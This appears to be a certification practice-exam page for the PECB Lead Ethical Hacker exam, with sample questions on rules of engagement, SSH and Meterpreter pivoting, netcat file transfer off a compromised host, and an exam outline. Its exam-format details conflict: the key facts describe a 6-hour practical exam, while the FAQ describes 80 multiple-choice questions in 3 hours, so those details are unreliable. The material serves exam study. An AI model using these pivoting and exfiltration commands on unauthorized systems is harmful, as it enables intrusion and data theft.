PracticeVideosBlogFlashcardsEspañol
All Practice Exams

100+ Free PECB Certified Lead Ethical Hacker Practice Questions

Prepare for the PECB Certified Lead Ethical Hacker (CLEH) exam with instant access — no signup required.

✓ No registration✓ No credit card✓ No hidden fees✓ Start practicing immediately
Not published Pass Rate
100+ Questions
100% Free

Loading practice questions...

Same family resources

Explore More PECB Certifications

Continue into nearby exams from the same family. Each card keeps practice questions, study guides, flashcards, videos, and articles in one place.

PECB ISO/IEC 27001 Lead Implementer

Practice QuestionsStudy Guide

PECB ISO/IEC 27001 Lead Auditor

Practice QuestionsStudy Guide

PECB Certified ISO/IEC 27001 Foundation

Practice QuestionsStudy GuideFlashcards

PECB Certified ISO/IEC 42001 Lead Implementer (AI Management)

Practice QuestionsStudy GuideCheat SheetFlashcards

PECB ISO/IEC 42001 Lead Auditor (AI Management)

Practice Questions

PECB Certified ISO/IEC 27701 Lead Auditor (PIMS)

Practice Questions
2026 Statistics

Key Facts: PECB Certified Lead Ethical Hacker Exam

The official PECB Certified Lead Ethical Hacker exam is a hands-on, open-book practical assessment (a 6-hour session to compromise at least two of three target machines) followed by a written findings report submitted within 24 hours, with a 70% passing score. This practice question bank provides 100 scenario-based MCQs as an English-language study adaptation of the methodology across the six official competency domains; it is not a simulation of the practical exam.

Sample PECB Certified Lead Ethical Hacker Practice Questions

Try these sample questions to test your PECB Certified Lead Ethical Hacker exam readiness. Each question includes a detailed explanation. Start the interactive quiz above for the full 100+ question experience with AI tutoring.

1Before initiating an active penetration test against a corporate network, which document MUST be signed by an authorized executive to legally protect the testing team?
A.Service Level Agreement (SLA)
B.Rules of Engagement (RoE) and Letter of Authorization (Get-Out-of-Jail-Free card)
C.Non-Disclosure Agreement (NDA) only
D.ISO 27001 Internal Audit Checklist
Explanation: A formally signed Rules of Engagement (RoE) and explicit written Letter of Authorization are legally essential before initiating any active testing. They establish scope, authorized testing windows, emergency contacts, and legal consent, protecting testers against unauthorized computer access charges.
2A tester has SSH access to a compromised jump host (10.0.0.5) that can reach an internal database server (192.168.50.20:3306) unreachable from the tester's machine. Which SSH option creates a listener on the tester's own machine that tunnels traffic to that database through the jump host?
A.ssh -R 3306:192.168.50.20:3306 user@10.0.0.5
B.ssh -L 3306:192.168.50.20:3306 user@10.0.0.5
C.ssh -D 3306 user@10.0.0.5
D.ssh -X user@10.0.0.5
Explanation: Local port forwarding (-L) binds a port on the tester's own machine and forwards each connection through the SSH session to a destination reachable by the jump host. Connecting to localhost:3306 therefore reaches 192.168.50.20:3306 across the pivot, which is the standard way to expose a single internal service to local tooling.
3Under federal and international cybercrime statutes (such as the US Computer Fraud and Abuse Act - CFAA or UK Computer Misuse Act), what key element distinguishes ethical hacking from unlawful intrusion?
A.The sophistication of tools used during the assessment
B.Prior written consent and authorization from the system owner
C.The absence of system disruption or service downtime
D.The open-source availability of the target software
Explanation: Authorization and consent are the defining legal boundaries separating ethical security assessments from illegal access. Operating with explicit permission from the system owner legitimizes security testing under computer crime statutes.
4How does a Black-Box penetration test differ from a White-Box penetration test?
A.Black-box testing provides complete source code and network diagrams; white-box testing provides zero prior information.
B.Black-box testing simulates an external attacker with no prior knowledge; white-box testing provides full access to internal documentation and architecture.
C.Black-box testing only tests web applications; white-box testing only tests physical security.
D.Black-box testing is conducted exclusively by internal staff; white-box testing is conducted by third-party contractors.
Explanation: Black-box testing mirrors an unprivileged external adversary with no pre-existing knowledge of internal systems. White-box testing provides complete visibility (code, credentials, architecture) to evaluate deep internal flaws efficiently.
5According to the PECB Code of Ethics, what must an ethical hacker do if they encounter evidence of illegal activities (e.g., child exploitation material or financial fraud) during an engagement?
A.Exfiltrate the evidence to personal storage for independent investigation
B.Report the situation immediately through designated legal and escalation channels outlined in the RoE
C.Conceal the evidence to avoid delaying the penetration testing schedule
D.Publicly post the evidence on social media to ensure accountability
Explanation: Encountering evidence of illegal activity requires immediate escalation following predefined legal protocols and RoE procedures. Testers must preserve evidence integrity and involve designated legal/executive authorities without exceeding their authorization.
6A tester runs `ssh -D 1080 user@10.0.0.5` against a compromised jump host and then edits `/etc/proxychains.conf` to add `socks5 127.0.0.1 1080`. What capability does this combination provide?
A.It grants root privileges on the jump host for any tool launched through proxychains
B.It transparently routes arbitrary TCP tools through the jump host so they can reach any network the jump host can reach
C.It encrypts the target network's internal traffic so defenders cannot inspect it
D.It creates a persistent backdoor that survives reboot of the jump host
Explanation: Dynamic port forwarding turns the SSH session into a SOCKS proxy, and proxychains redirects the network calls of otherwise proxy-unaware tools through it. The result is that scanners and clients on the tester's machine can reach the entire internal address space visible to the jump host, without a separate tunnel per destination.
7After gaining a Meterpreter session on a dual-homed host, a tester runs `run autoroute -s 192.168.50.0/24`. What does this achieve?
A.It adds a route inside Metasploit so that other framework modules send traffic to that subnet through the existing session
B.It permanently modifies the compromised host's operating system routing table
C.It scans the 192.168.50.0/24 subnet and reports every live host
D.It configures the tester's machine to accept inbound connections from the subnet
Explanation: autoroute registers a route within the Metasploit Framework's internal routing table, binding the specified subnet to the current session. Subsequent framework modules then transparently relay their traffic through the compromised host, allowing exploitation of systems the tester cannot reach directly.
8A tester wants to copy a memory dump off a compromised Linux host using netcat. On the tester's machine they run `nc -lvnp 4444 > dump.raw`. Which command must be issued on the compromised host?
A.nc -lvnp 4444 < dump.raw
B.nc <tester-ip> 4444 < dump.raw
C.nc <tester-ip> 4444 > dump.raw
D.nc -lvnp 4444 > dump.raw
Explanation: The receiving side listens and redirects standard input into a file, so the sending side must connect outward and feed the file into standard output with `<`. Outbound connections from the target are also more likely to succeed than inbound ones, because egress filtering is commonly weaker than ingress filtering.
9When performing penetration testing on multi-tenant public cloud infrastructure (e.g., AWS, Azure, GCP), which activity strictly requires prior notification or permission under cloud provider policy?
A.Testing user-owned virtual machines within authorized instances without impacting underlying cloud hypervisors
B.Conducting Denial of Service (DoS/DDoS) attacks or targeting shared control planes
C.Scanning web applications hosted on cloud virtual servers using standard vulnerability tools
D.Reviewing cloud IAM policies using authorized read-only API credentials
Explanation: Major cloud providers (AWS, Azure, GCP) explicitly prohibit launching DoS/DDoS attacks, network stress testing, or targeting underlying hypervisors and shared infrastructure without explicit cloud provider authorization.
10Which CVSS v3.1 metric group measures the inherent characteristics of a vulnerability that are constant over time and across user environments?
A.Temporal Metric Group
B.Environmental Metric Group
C.Base Metric Group
D.Threat Metric Group
Explanation: The CVSS Base Metric Group produces a score ranging from 0.0 to 10.0 representing the intrinsic technical qualities of a vulnerability that remain constant over time and across different deployment contexts.

About the PECB Certified Lead Ethical Hacker Exam

The PECB Certified Lead Ethical Hacker certification validates professional competence in leading penetration testing projects, performing vulnerability assessments, executing technical exploits across networks and applications, analyzing post-exploitation risk, and delivering strategic remediation roadmaps.

Assessment

Open-book practical exam: compromise at least two of three target machines through penetration testing, then submit a written findings report. Scored across six competency domains (information gathering, threat modelling and vulnerability identification, exploitation, privilege escalation, pivoting and file transfers, reporting).

Time Limit

6-hour practical session plus up to 24 hours for the written report

Passing Score

70%

Exam Fee

USD 1000 exam-only (Lead level); included when taken with PECB partner training (PECB)

PECB Certified Lead Ethical Hacker Exam Content Outline

15%

Information gathering (Domain 1)

Reconnaissance, OSINT, DNS/WHOIS enumeration, and Nmap scanning to select and adapt the testing approach. Official Domain 1 is 15% of exam points.

5%

Threat modelling and vulnerability identification (Domain 2)

Building an offensive threat model and using vulnerability scanning to select effective exploitation targets. Official Domain 2 is 5% of exam points.

30%

Exploitation techniques (Domain 3)

Server-side, client-side, web application, and wireless attacks, plus IDS/IPS and firewall evasion. Official Domain 3 is the largest at 30% of exam points.

25%

Privilege escalation (Domain 4)

Escalating privileges on machines, systems, and networks, including Active Directory attacks and credential harvesting. Official Domain 4 is 25% of exam points.

15%

Pivoting and file transfers (Domain 5)

Pivoting to other networks, SSH/SOCKS tunnelling, file transfer, maintaining access, and cleaning up artifacts. Official Domain 5 is 15% of exam points.

10%

Reporting (Domain 6)

Interpreting attack vectors, recommending mitigations, and drafting a clear penetration testing report. Official Domain 6 is 10% of exam points.

How to Pass the PECB Certified Lead Ethical Hacker Exam

What You Need to Know

  • Passing score: 70%
  • Assessment: Open-book practical exam: compromise at least two of three target machines through penetration testing, then submit a written findings report. Scored across six competency domains (information gathering, threat modelling and vulnerability identification, exploitation, privilege escalation, pivoting and file transfers, reporting).
  • Time limit: 6-hour practical session plus up to 24 hours for the written report
  • Exam fee: USD 1000 exam-only (Lead level); included when taken with PECB partner training

Keys to Passing

  • Complete 500+ practice questions
  • Score 80%+ consistently before scheduling
  • Focus on highest-weighted sections
  • Use our AI tutor for tough concepts

PECB Certified Lead Ethical Hacker Study Tips from Top Performers

1Understand the explicit elements required in Rules of Engagement (RoE) documents prior to initiating active scans.
2Master Nmap timing templates (-T0 through -T5) and scan flags (-sS, -sT, -sU, -sV, -O, --script).
3Study web application exploit vectors: SQLi (Union, Error, Time-based), XSS (Stored, Reflected, DOM), and SSRF cloud metadata access.
4Know key Active Directory attack vectors including Kerberoasting, AS-REP Roasting, Pass-the-Hash, and Golden Ticket creation.
5Practice calculating CVSS v3.1 base score metrics (Attack Vector, Attack Complexity, Privileges Required, User Interaction, Scope, Confidentiality, Integrity, Availability).

Frequently Asked Questions

What is the format and duration of the PECB Certified Lead Ethical Hacker exam?

The official PECB CLEH examination consists of 80 multiple-choice questions administered over 3 hours (180 minutes) in an open-book format.

What passing score is required to achieve the PECB CLEH certification?

A minimum passing score of 70% (answering at least 56 out of 80 questions correctly) is required to pass the exam.

Is the official PECB Lead Ethical Hacker exam open-book?

Yes, PECB open-book examinations permit candidates to reference official PECB course materials, hardcopy standards, and personal study notes.

What key domains are tested on the PECB CLEH exam?

The exam covers ethical hacking governance, legal and compliance boundaries, reconnaissance and scanning, network/system/web application exploitation, post-exploitation privilege escalation, and vulnerability reporting/management.

How does the Lead Ethical Hacker certification differ from basic ethical hacking credentials?

The Lead certification emphasizes not only technical penetration testing execution, but also project scoping, team leadership, governance alignment (ISO/IEC 27001/27035), risk evaluation, and executive communication.